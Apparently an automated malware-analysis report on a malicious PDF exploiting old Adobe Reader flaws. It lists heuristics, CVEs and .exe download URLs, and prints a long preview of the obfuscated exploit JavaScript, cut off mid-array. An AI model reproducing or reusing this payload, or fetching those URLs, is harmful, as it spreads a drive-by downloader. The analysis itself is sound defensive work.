PDF malware analysis — malicious · 88ed6c7866d0d15a

MALICIOUS

PDF

75.8 KB Created: 2009-12-07 19:46:33 Authoring application: PDF Library 4.10.10 (via PDF Library 9.1.1) First seen: 2026-05-11

MD5: f5d8ac5fd36d7a71dd4f48652ad966f0 SHA-1: 8be2415b5a255cc4e473b683e1388cf301a69c2f SHA-256: 88ed6c7866d0d15a0f11c7550b1037de199fa26f2f56a7f0f1e19b93a9994cfc

592 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains heavily obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript contains shellcode that attempts to download executable files from the provided URLs, indicating a downloader or dropper functionality. The ML classifier and ClamAV detections further support the malicious nature of this file.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://style-boards.com/forum/bcqtz2.exe Referenced by PDF JavaScript
- http://style-boards.com/forum/click.php?r=Referenced by PDF JavaScript
- http://style-boards.com/forum/gimpu2.exeReferenced by PDF JavaScript
- http://style-boards.com/forum/aceoz2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38299 bytes
SHA-256: `2e1d666920153c217a3e5030a7dbe28c4d78593da42e17e3d363017b52ac601c`
Preview script First 1,000 lines of the extracted script var belz=false;fkoquv='';dgnopu="dgnopu";dejnr=false;alxz=47304;clnuz="";cgij=31198;var bfhkr="bfhkr",efpuw="efpuw",bkmz=0,dhrvz=String,cnqvy=dhrvz['fvrloimXCihXairACioXdveA'.replace(/[AvliX]/g,'')],eghnrt=String,eklor=eghnrt['esvoaslp'.replace(/[psXof]/g,'')],acov="73",bfilmr="",afghpx=[68,61,64,153,172,161,154,167,160,162,165,83,157,156,175,146,160,167,95,172,152,165,170,163,99,83,163,152,165,92,178,64,65,60,64,170,159,156,163,152,87,91,176,148,169,166,167,97,163,152,165,154,171,155,87,93,87,101,87,111,87,159,156,161,96,174,68,61,64,60,64,172,152,165,170,163,87,94,116,83,176,148,169,166,167,110,68,61,64,60,180,64,65,60,64,172,152,165,170,163,87,112,87,172,152,165,170,163,101,166,172,149,170,167,169,156,165,154,95,99,99,83,163,152,165,98,105,92,114,64,65,60,64,165,156,167,172,165,165,83,176,148,169,166,167,110,68,61,64,176,68,61,68,61,64,153,172,161,154,167,160,162,165,83,172,167,160,159,150,163,169,156,165,167,157,91,96,174,68,61,64,60,173,148,169,83,167,148,176,159,166,148,155,83,116,83,172,161,156,166,154,148,167,152,95,85,92,168,124,117,124,108,92,168,103,99,103,100,92,168,108,105,103,99,92,168,120,100,109,103,92,168,103,99,106,99,92,168,103,99,103,99,92,168,107,99,111,117,92,168,111,117,103,118,92,168,104,118,110,99,92,168,111,117,120,119,92,168,103,107,107,99,92,168,122,102,108,120,92,168,111,117,108,104,92,168,111,117,124,118,92,168,103,107,107,104,92,168,106,102,108,101,92,168,122,100,123,101,92,168,103,102,122,101,92,168,104,99,106,101,92,168,111,99,107,99,92,168,103,99,106,107,92,168,125,104,110,104,92,168,122,101,111,117,92,168,108,119,108,116,92,168,103,103,122,101,92,168,108,104,103,99,92,168,124,118,111,117,92,168,108,100,108,100,92,168,108,105,108,102,92,168,109,99,108,106,92,168,108,119,111,117,92,168,106,102,103,107,92,168,111,117,122,99,92,168,103,118,110,104,92,168,125,120,111,117,92,168,110,105,103,102,92,168,111,117,106,118,92,168,110,107,107,120,92,168,122,121,103,102,92,168,108,100,111,117,92,168,108,101,104,118,92,168,108,100,111,117,92,168,108,101,105,103,92,168,110,100,111,117,92,168,107,120,104,103,92,168,110,104,111,108,92,168,111,117,125,118,92,168,105,99,110,100,92,168,125,106,103,102,92,168,107,116,112,108,92,168,107,101,120,119,92,168,106,117,109,99,92,168,125,118,108,104,92,168,103,103,110,104,92,168,122,99,106,102,92,168,106,106,124,117,92,168,125,121,106,102,92,168,107,104,103,102,92,168,112,106,103,118,92,168,122,121,111,117,92,168,110,104,120,120,92,168,105,117,125,119,92,168,107,121,125,108,92,168,124,107,108,100,92,168,125,121,112,103,92,168,125,121,125,121,92,168,122,102,106,117,92,168,110,103,109,100,92,168,124,117,103,101,92,168,111,117,123,108,92,168,103,118,107,104,92,168,108,120,112,101,92,168,125,101,103,102,92,168,124,99,123,100,92,168,122,105,103,102,92,168,122,108,106,102,92,168,121,106,103,121,92,168,108,121,103,107,92,168,124,100,122,100,92,168,103,102,103,101,92,168,103,102,122,116,92,168,111,117,122,121,92,168,103,102,103,100,92,168,111,108,122,101,92,168,125,107,107,104,92,168,111,117,109,100,92,168,125,107,107,104,92,168,108,120,108,121,92,168,122,108,108,117,92,168,108,104,122,102,92,168,124,118,111,117,92,168,124,107,108,100,92,168,125,121,107,108,92,168,125,121,125,121,92,168,109,107,108,99,92,168,109,99,124,107,92,168,103,103,121,121,92,168,109,118,124,107,92,168,125,121,125,121,92,168,106,102,125,121,92,168,108,101,123,101,92,168,125,121,108,101,92,168,103,107,110,104,92,168,123,99,125,121,92,168,107,104,111,108,92,168,111,117,125,118,92,168,125,118,107,104,92,168,122,102,122,108,92,168,111,117,108,104,92,168,111,102,124,118,92,168,103,118,124,118,92,168,107,104,111,119,92,168,108,99,125,103,92,168,107,104,122,105,92,168,110,104,125,103,92,168,107,104,122,105,92,168,110,101,125,104,92,168,107,104,122,105,92,168,109,118,125,105,92,168,107,104,122,105,92,168,109,119,125,106,92,168,107,104,122,105,92,168,109,121,125,107,92,168,107,104,122,105,92,168,109,120,125,108,92,168,107,104,122,105,92,168,105,120,125,116,92,168,107,104,122,105,92,168,109,103,125,117,92,168,107,104,122,105,92,168,109,118,125,118,92,168,107,104,122,105,92,168,109,118,125,119,92,168,107,104,122,105,92,168,103,99,125,120,92,168,120,99,124,107,92,168,125,121,125,121,92,168,108,99,125,121,92,168,108,119,109,107,92,168,104,100,111,116,92,168,124,107,104,105,92,168,125,121,104,104,92,168,125,121,125,121,92,168,122,103,111,102,92,168,111,104,103,118,92,168,110,103,122,99,92,168,109,116,104,104,92,168,109,116,103,99,92,168,125,121,103,99,92,168,103,118,110,104,92,168,110,104,125,121,92,168,109,116,103,107,92,168,125,121,103,99,92,168,111,104,123,99,92,168,110,104,122,99,92,168,107,99,103,102,92,168,122,102,122,108,92,168,122,99,106,102,92,168,122,102,122,108,92,168,106,102,108,106,92,168,111,117,122,99,92,168,105,103,107,118,92,168,111,117,103,118,92,168,105,103,110,118,92,168,125,118,103,107,92,168,120,116,125,102,92,168,122,102,108,121,92,168,107,118,111,117,92,168,103,103,105,103,92,168,106,108,111,99,92,168,111,117,103,99,92,168,110,103,122,100,92,168,107,99,103,105,92,168,106,107,111,99,92,168,110,104,103,99,92,168,105,117,125,116,92,168,122,102,122,100,92,168,111,117,108,104,92,168,111,102,124,118,92,168,109,103,124,118,92,168,111,119,108,102,92,168,125,99,107,104,92,168,106,102,108,106,92,168,108,99,123,117,92,168,107,104,122,105,92,168,109,117,125,99,92,168,107,104,122,105,92,168,109,104,125,100,92,168,107,104,122,105,92,168,110,101,125,101,92,168,107,104,122,105,92,168,109,120,125,102,92,168,107,104,122,105,92,168,109,104,125,103,92,168,107,104,122,105,92,168,109,118,125,104,92,168,107,104,122,105,92,168,106,102,125,105,92,168,107,104,122,105,92,168,106,101,125,106,92,168,107,104,122,105,92,168,105,120,125,107,92,168,107,104,122,105,92,168,109,103,125,108,92,168,107,104,122,105,92,168,109,118,125,116,92,168,107,104,122,105,92,168,109,118,125,117,92,168,108,119,111,107,92,168,124,107,125,118,92,168,125,121,103,117,92,168,125,121,125,121,92,168,109,107,108,99,92,168,107,102,109,107,92,168,111,120,125,108,92,168,111,99,124,107,92,168,125,121,125,120,92,168,111,117,125,121,92,168,111,119,125,107,92,168,112,118,107,104,92,168,107,103,109,116,92,168,124,107,108,99,92,168,125,121,110,120,92,168,125,121,125,121,92,168,107,104,111,119,92,168,109,116,124,99,92,168,108,99,104,99,92,168,110,102,124,107,92,168,125,121,125,121,92,168,111,102,125,121,92,168,104,118,122,103,92,168,107,104,111,119,92,168,108,99,124,99,92,168,107,104,111,119,92,168,108,99,112,118,92,168,108,102,108,102,92,168,108,102,108,102,92,168,108,102,108,102,92,168,110,104,125,121,92,168,122,106,103,107,92,168,112,118,107,104,92,168,103,99,107,103,92,168,103,99,103,99,92,168,125,121,108,102,92,168,108,121,123,106,92,168,121,105,103,121,92,168,108,117,122,99,92,168,122,102,122,108,92,168,111,117,108,104,92,168,108,100,124,118,92,168,108,102,108,100,92,168,108,106,108,105,92,168,107,101,109,116,92,168,110,101,124,107,92,168,103,99,103,99,92,168,111,117,103,99,92,168,106,102,123,107,92,168,111,104,125,105,92,168,108,108,123,117,92,168,107,104,122,106,92,168,109,100,125,107,92,168,109,104,105,120,92,168,122,106,110,107,92,168,125,118,107,104,92,168,103,99,109,104,92,168,103,99,103,99,92,168,108,105,110,120,92,168,107,104,111,119,92,168,108,99,125,107,92,168,124,107,108,105,92,168,103,99,108,100,92,168,103,99,103,99,92,168,108,99,108,108,92,168,121,100,124,107,92,168,125,121,125,120,92,168,111,104,125,121,92,168,108,108,122,99,92,168,110,103,108,108,92,168,111,119,106,108,92,168,103,100,107,105,92,168,124,107,108,99,92,168,103,99,106,117,92,168,103,99,103,99,92,168,125,107,111,117,92,168,107,104,111,119,92,168,108,99,125,107,92,168,105,100,124,107,92,168,125,121,125,121,92,168,111,104,125,121,92,168,108,108,122,99,92,168,110,103,108,108,92,168,108,106,103,118,92,168,103,100,124,107,92,168,125,121,125,121,92,168,108,108,125,121,92,168,107,103,122,105,92,168,125,121,106,107,92,168,108,99,110,102,92,168,107,104,111,119,92,168,125,120,125,107,92,168,108,107,103,99,92,168,107,104,111,119,92,168,108,99,125,107,92,168,124,107,108,106,92,168,125,120,110,103,92,168,125,121,125,121,92,168,108,108,108,108,92,168,107,105,107,105,92,168,125,102,106,117,92,168,120,116,110,118,92,168,108,120,108,121,92,168,122,108,108,117,92,168,108,104,122,102,92,168,124,118,111,117,92,168,108,102,108,100,92,168,109,99,109,105,92,168,106,101,121,100,92,168,103,99,124,107,92,168,103,99,103,99,92,168,108,107,103,99,92,168,103,107,106,107,92,168,103,102,110,103,92,168,124,117,107,99,92,168,107,99,125,108,92,168,108,119,111,117,92,168,111,99,103,107,92,168,107,101,125,117,92,168,103,107,110,104,92,168,123,117,106,102,92,168,104,107,111,116,92,168,122,102,111,117,92,168,104,106,124,117,92,168,104,107,106,107,92,168,104,100,110,105,92,168,106,102,107,99,92,168,111,103,122,108,92,168,110,103,123,117,92,168,107,99,103,118,92,168,103,107,106,107,92,168,125,117,110,104,92,168,125,120,107,99,92,168,124,117,122,117,92,168,106,102,125,101,92,168,111,108,122,99,92,168,125,118,107,104,92,168,107,104,111,117,92,168,108,117,125,118,92,168,122,102,122,108,92,168,103,101,106,101,92,168,110,103,109,107,92,168,110,99,110,103,92,168,105,121,106,116,92,168,110,102,105,121,92,168,110,108,110,103,92,168,109,104,109,118,92,168,109,101,105,119,92,168,109,100,109,121,92,168,109,103,110,101,92,168,105,120,110,102,92,168,109,121,109,102,92,168,105,121,109,119,92,168,109,121,109,105,92,168,110,104,110,101,92,168,105,121,109,119,92,168,109,102,109,101,92,168,110,103,110,100,92,168,106,101,110,116,92,168,109,104,105,120,92,168,109,104,110,107,92,168,109,107,103,99,92,168,110,103,110,103,92,168,106,116,110,99,92,168,105,121,105,121,92,168,110,103,110,102,92,168,109,118,110,108,92,168,105,119,109,104,92,168,109,121,109,101,92,168,110,101,109,100,92,168,110,102,109,103,92,168,109,102,105,120,92,168,109,119,109,121,92,168,109,105,105,121,92,168,110,101,109,121,92,168,109,119,110,104,92,168,109,102,105,121,92,168,109,108,109,118,92,168,109,117,109,102,92,168,110,99,105,120,92,168,110,99,109,107,92,168,110,101,106,121,92,168,103,99,106,119,89,92,114,64,65,60,64,169,152,165,87,161,166,163,87,112,87,168,165,152,170,150,152,163,156,91,89,88,172,99,120,99,120,88,172,99,120,99,120,88,172,99,120,99,120,88,172,99,120,99,120,85,96,64,65,60,64,169,152,165,87,155,156,148,167,149,163,162,154,158,87,112,87,161,166,163,87,94,87,163,152,172,163,162,152,151,114,64,65,60,64,169,152,165,87,149,160,154,153,159,166,150,162,83,116,83,172,161,156,166,154,148,167,152,95,85,92,168,103,116,103,116,92,168,103,116,103,116,89,92,114,64,65,60,64,169,152,165,87,155,156,148,155,152,169,166,160,173,156,83,116,83,105,99,114,64,65,60,64,169,152,165,87,166,167,165,152,172,87,112,87,155,156,148,155,152,169,166,160,173,156,83,98,83,159,152,152,163,153,159,166,150,162,97,163,152,165,154,171,155,114,64,65,60,64,170,159,156,163,152,87,91,153,156,158,149,163,162,154,158,101,159,156,161,158,167,159,83,115,83,170,163,169,148,176,92,178,64,65,60,64,60,153,156,158,149,163,162,154,158,87,94,116,83,153,156,158,149,163,162,154,158,114,64,65,60,64,176,68,61,64,60,173,148,169,83,157,156,163,159,153,159,166,150,162,83,116,83,153,156,158,149,163,162,154,158,101,166,172,149,170,167,169,156,165,154,95,99,99,83,170,163,169,148,176,92,114,64,65,60,64,169,152,165,87,149,163,162,154,158,87,112,87,149,160,154,153,159,166,150,162,97,170,168,153,166,171,165,160,161,158,91,103,95,87,149,160,154,153,159,166,150,162,97,163,152,165,154,171,155,100,166,167,165,152,172,96,110,68,61,64,60,174,155,160,159,156,83,95,149,163,162,154,158,101,159,156,161,158,167,159,94,170,163,169,148,176,83,115,83,103,171,107,99,103,99,103,92,178,64,65,60,64,60,153,159,166,150,162,83,116,83,153,159,166,150,162,83,98,83,153,159,166,150,162,83,98,83,157,156,163,159,153,159,166,150,162,110,68,61,64,60,180,64,65,60,64,169,152,165,87,160,156,160,150,148,169,165,152,172,87,112,87,161,156,170,87,116,169,165,152,172,95,92,114,64,65,60,64,153,166,165,87,91,173,148,169,83,160,83,116,83,103,110,87,156,87,111,87,100,107,99,103,110,87,156,98,94,96,174,68,61,64,60,64,160,156,160,150,148,169,165,152,172,146,156,148,83,116,83,153,159,166,150,162,83,98,83,159,152,152,163,153,159,166,150,162,110,68,61,64,60,180,64,65,60,64,169,152,165,87,161,172,160,87,112,87,100,105,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,108,112,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,107,111,110,68,61,64,60,172,167,160,159,101,163,169,156,165,167,157,91,89,88,107,104,103,99,103,153,89,95,87,161,172,160,96,110,68,61,64,176,68,61,68,61,64,153,172,161,154,167,160,162,165,83,154,162,163,159,152,149,150,152,164,148,160,159,95,92,178,64,65,60,64,169,152,165,87,166,159,152,163,159,154,162,155,152,87,112,87,168,165,152,170,150,152,163,156,91,89,88,172,120,121,120,112,88,172,99,103,99,104,88,172,104,109,99,103,88,172,116,104,105,107,88,172,99,103,102,103,88,172,99,103,99,103,88,172,103,103,107,121,88,172,107,121,99,122,88,172,100,122,106,103,88,172,107,121,116,123,88,172,99,111,103,103,88,172,118,106,104,124,88,172,107,121,104,108,88,172,107,121,120,122,88,172,99,111,103,108,88,172,102,106,104,105,88,172,118,104,119,105,88,172,99,106,118,105,88,172,100,103,102,105,88,172,107,103,103,103,88,172,99,103,102,111,88,172,121,108,106,108,88,172,118,105,107,121,88,172,104,123,104,120,88,172,99,107,118,105,88,172,104,108,99,103,88,172,120,122,107,121,88,172,104,104,104,104,88,172,104,109,104,106,88,172,105,103,104,110,88,172,104,123,107,121,88,172,102,106,99,111,88,172,107,121,118,103,88,172,99,122,106,108,88,172,121,124,107,121,88,172,106,109,99,106,88,172,107,121,102,122,88,172,106,111,103,124,88,172,118,125,99,106,88,172,104,104,107,121,88,172,104,105,100,122,88,172,104,104,107,121,88,172,104,105,101,107,88,172,106,104,107,121,88,172,103,124,100,107,88,172,106,108,107,112,88,172,107,121,121,122,88,172,101,103,106,104,88,172,121,110,99,106,88,172,103,120,108,112,88,172,103,105,116,123,88,172,102,121,105,103,88,172,121,122,104,108,88,172,99,107,106,108,88,172,118,103,102,106,88,172,102,110,120,121,88,172,121,125,102,106,88,172,103,108,99,106,88,172,108,110,99,122,88,172,118,125,107,121,88,172,106,108,116,124,88,172,101,121,121,123,88,172,103,125,121,112,88,172,120,111,104,104,88,172,121,125,108,107,88,172,121,125,121,125,88,172,118,106,102,121,88,172,106,107,105,104,88,172,120,121,99,105,88,172,107,121,119,112,88,172,99,122,103,108,88,172,104,124,108,105,88,172,121,105,99,106,88,172,120,103,119,104,88,172,118,109,99,106,88,172,118,112,102,106,88,172,117,110,99,125,88,172,104,125,99,111,88,172,120,104,118,104,88,172,99,106,99,105,88,172,99,106,118,120,88,172,107,121,118,125,88,172,99,106,99,104,88,172,107,112,118,105,88,172,121,111,103,108,88,172,107,121,105,104,88,172,121,111,103,108,88,172,104,124,104,125,88,172,118,112,104,121,88,172,104,108,118,106,88,172,120,122,107,121,88,172,120,111,104,104,88,172,121,125,103,112,88,172,121,125,121,125,88,172,105,111,104,103,88,172,105,103,120,111,88,172,99,107,117,125,88,172,105,122,120,111,88,172,121,125,121,125,88,172,102,106,121,125,88,172,104,105,119,105,88,172,121,125,104,105,88,172,99,111,106,108,88,172,119,103,121,125,88,172,103,108,107,112,88,172,107,121,121,122,88,172,121,122,103,108,88,172,118,106,118,112,88,172,107,121,104,108,88,172,107,106,120,122,88,172,99,122,120,122,88,172,103,108,107,123,88,172,104,103,121,107,88,172,103,108,118,109,88,172,106,108,121,107,88,172,103,108,118,109,88,172,106,105,121,108,88,172,103,108,118,109,88,172,105,122,121,109,88,172,103,108,118,109,88,172,105,123,121,110,88,172,103,108,118,109,88,172,105,125,121,111,88,172,103,108,118,109,88,172,105,124,121,112,88,172,103,108,118,109,88,172,101,124,121,120,88,172,103,108,118,109,88,172,105,107,121,121,88,172,103,108,118,109,88,172,105,122,121,122,88,172,103,108,118,109,88,172,105,122,121,123,88,172,103,108,118,109,88,172,99,103,121,124,88,172,116,103,120,111,88,172,121,125,121,125,88,172,104,103,121,125,88,172,104,123,105,111,88,172,100,104,107,120,88,172,120,111,100,109,88,172,121,125,100,108,88,172,121,125,121,125,88,172,118,107,107,106,88,172,107,108,99,122,88,172,106,107,118,103,88,172,105,120,100,108,88,172,105,120,99,103,88,172,121,125,99,103,88,172,99,122,106,108,88,172,106,108,121,125,88,172,105,120,99,111,88,172,121,125,99,103,88,172,107,108,119,103,88,172,106,108,118,103,88,172,103,103,99,106,88,172,118,106,118,112,88,172,118,103,102,106,88,172,118,106,118,112,88,172,102,106,104,110,88,172,107,121,118,103,88,172,101,107,103,122,88,172,107,121,99,122,88,172,101,107,106,122,88,172,121,122,99,111,88,172,116,120,121,106,88,172,118,106,104,125,88,172,103,122,107,121,88,172,99,107,101,107,88,172,102,112,107,103,88,172,107,121,99,103,88,172,106,107,118,104,88,172,103,103,99,109,88,172,102,111,107,103,88,172,106,108,99,103,88,172,101,121,121,120,88,172,118,106,118,104,88,172,107,121,104,108,88,172,107,106,120,122,88,172,105,107,120,122,88,172,107,123,104,106,88,172,121,103,103,108,88,172,102,106,104,110,88,172,104,103,119,121,88,172,103,108,118,109,88,172,105,121,121,103,88,172,103,108,118,109,88,172,105,108,121,104,88,172,103,108,118,109,88,172,106,105,121,105,88,172,103,108,118,109,88,172,105,124,121,106,88,172,103,108,118,109,88,172,105,108,121,107,88,172,103,108,118,109,88,172,105,122,121,108,88,172,103,108,118,109,88,172,102,106,121,109,88,172,103,108,118,109,88,172,102,105,121,110,88,172,103,108,118,109,88,172,101,124,121,111,88,172,103,108,118,109,88,172,105,107,121,112,88,172,103,108,118,109,88,172,105,122,121,120,88,172,103,108,118,109,88,172,105,122,121,121,88,172,104,123,107,111,88,172,120,111,121,122,88,172,121,125,99,121,88,172,121,125,121,125,88,172,105,111,104,103,88,172,103,106,105,111,88,172,107,124,121,112,88,172,107,103,120,111,88,172,121,125,121,124,88,172,107,121,121,125,88,172,107,123,121,111,88,172,108,122,103,108,88,172,103,107,105,120,88,172,120,111,104,103,88,172,121,125,106,124,88,172,121,125,121,125,88,172,103,108,107,123,88,172,105,120,120,103,88,172,104,103,100,103,88,172,106,106,120,111,88,172,121,125,121,125,88,172,107,106,121,125,88,172,100,122,118,107,88,172,103,108,107,123,88,172,104,103,120,103,88,172,103,108,107,123,88,172,104,103,108,122,88,172,104,106,104,106,88,172,104,106,104,106,88,172,104,106,104,106,88,172,106,108,121,125,88,172,118,110,99,111,88,172,108,122,103,108,88,172,99,103,103,107,88,172,99,103,99,103,88,172,121,125,104,106,88,172,104,125,119,110,88,172,117,109,99,125,88,172,104,121,118,103,88,172,118,106,118,112,88,172,107,121,104,108,88,172,104,104,120,122,88,172,104,106,104,104,88,172,104,110,104,109,88,172,103,105,105,120,88,172,106,105,120,111,88,172,99,103,99,103,88,172,107,121,99,103,88,172,102,106,119,111,88,172,107,108,121,109,88,172,104,112,119,121,88,172,103,108,118,110,88,172,105,104,121,111,88,172,105,108,101,124,88,172,118,110,106,111,88,172,121,122,103,108,88,172,99,103,105,108,88,172,99,103,99,103,88,172,104,109,106,124,88,172,103,108,107,123,88,172,104,103,121,111,88,172,120,111,104,109,88,172,99,103,104,104,88,172,99,103,99,103,88,172,104,103,104,112,88,172,117,104,120,111,88,172,121,125,121,124,88,172,107,108,121,125,88,172,104,112,118,103,88,172,106,107,104,112,88,172,107,123,102,112,88,172,99,104,103,109,88,172,120,111,104,103,88,172,99,103,102,121,88,172,99,103,99,103,88,172,121,111,107,121,88,172,103,108,107,123,88,172,104,103,121,111,88,172,101,104,120,111,88,172,121,125,121,125,88,172,107,108,121,125,88,172,104,112,118,103,88,172,106,107,104,112,88,172,104,110,99,122,88,172,99,104,120,111,88,172,121,125,121,125,88,172,104,112,121,125,88,172,103,107,118,109,88,172,121,125,102,111,88,172,104,103,106,106,88,172,103,108,107,123,88,172,121,124,121,111,88,172,104,111,99,103,88,172,103,108,107,123,88,172,104,103,121,111,88,172,120,111,104,110,88,172,121,124,106,107,88,172,121,125,121,125,88,172,104,112,104,112,88,172,103,109,103,109,88,172,121,106,102,121,88,172,116,120,106,122,88,172,104,124,104,125,88,172,118,112,104,121,88,172,104,108,118,106,88,172,120,122,107,121,88,172,104,106,104,104,88,172,105,103,105,109,88,172,102,105,117,104,88,172,99,103,120,111,88,172,99,103,99,103,88,172,104,111,99,103,88,172,99,111,102,111,88,172,99,106,106,107,88,172,120,121,103,103,88,172,103,103,121,112,88,172,104,123,107,121,88,172,107,103,99,111,88,172,103,105,121,121,88,172,99,111,106,108,88,172,119,121,102,106,88,172,100,111,107,120,88,172,118,106,107,121,88,172,100,110,120,121,88,172,100,111,102,111,88,172,100,104,106,109,88,172,102,106,103,103,88,172,107,107,118,112,88,172,106,107,119,121,88,172,103,103,99,122,88,172,99,111,102,111,88,172,121,121,106,108,88,172,121,124,103,103,88,172,120,121,118,121,88,172,102,106,121,105,88,172,107,112,118,103,88,172,121,122,103,108,88,172,103,108,107,121,88,172,104,121,121,122,88,172,118,106,118,112,88,172,99,105,102,105,88,172,106,107,105,111,88,172,106,103,106,107,88,172,101,125,102,120,88,172,106,106,101,125,88,172,106,112,106,107,88,172,105,108,105,122,88,172,105,105,101,123,88,172,105,104,105,125,88,172,105,107,106,105,88,172,101,124,106,106,88,172,105,125,105,106,88,172,101,125,105,123,88,172,105,125,105,109,88,172,106,108,106,105,88,172,101,125,105,123,88,172,105,112,105,110,88,172,106,103,105,123,88,172,102,105,106,108,88,172,105,108,101,124,88,172,105,108,106,111,88,172,105,111,99,103,88,172,106,107,106,107,88,172,102,120,106,103,88,172,101,125,101,125,88,172,106,107,106,106,88,172,105,122,106,112,88,172,101,123,105,108,88,172,105,125,105,105,88,172,106,105,105,104,88,172,106,106,105,107,88,172,105,106,101,124,88,172,105,123,105,125,88,172,105,109,101,125,88,172,106,105,105,125,88,172,105,123,106,108,88,172,105,106,101,125,88,172,105,112,105,122,88,172,105,121,105,106,88,172,106,103,101,124,88,172,106,103,105,111,88,172,106,105,102,125,88,172,99,103,102,123,85,96,110,68,61,64,60,173,148,169,83,164,152,164,146,152,165,169,148,176,83,116,83,165,152,174,83,120,165,169,148,176,91,96,110,68,61,64,60,173,148,169,83,154,150,87,112,87,99,175,99,154,99,154,99,154,99,154,110,68,61,64,60,173,148,169,83,152,151,155,165,87,112,87,99,175,103,103,99,103,99,103,110,68,61,64,60,173,148,169,83,170,150,150,159,156,161,87,112,87,166,159,152,163,159,154,162,155,152,101,159,156,161,158,167,159,83,97,83,105,110,68,61,64,60,173,148,169,83,163,152,165,83,116,83,152,151,155,165,87,96,87,91,170,150,150,159,156,161,98,99,175,102,111,92,114,64,65,60,64,169,152,165,87,172,152,165,170,163,87,112,87,168,165,152,170,150,152,163,156,91,89,88,172,108,103,108,103,88,172,108,103,108,103,85,96,110,68,61,64,60,176,148,169,166,167,83,116,83,157,156,175,146,160,167,95,172,152,165,170,163,99,83,163,152,165,92,114,64,65,60,64,169,152,165,87,150,166,168,165,167,105,83,116,83,95,150,154,83,100,83,103,171,107,99,103,99,103,99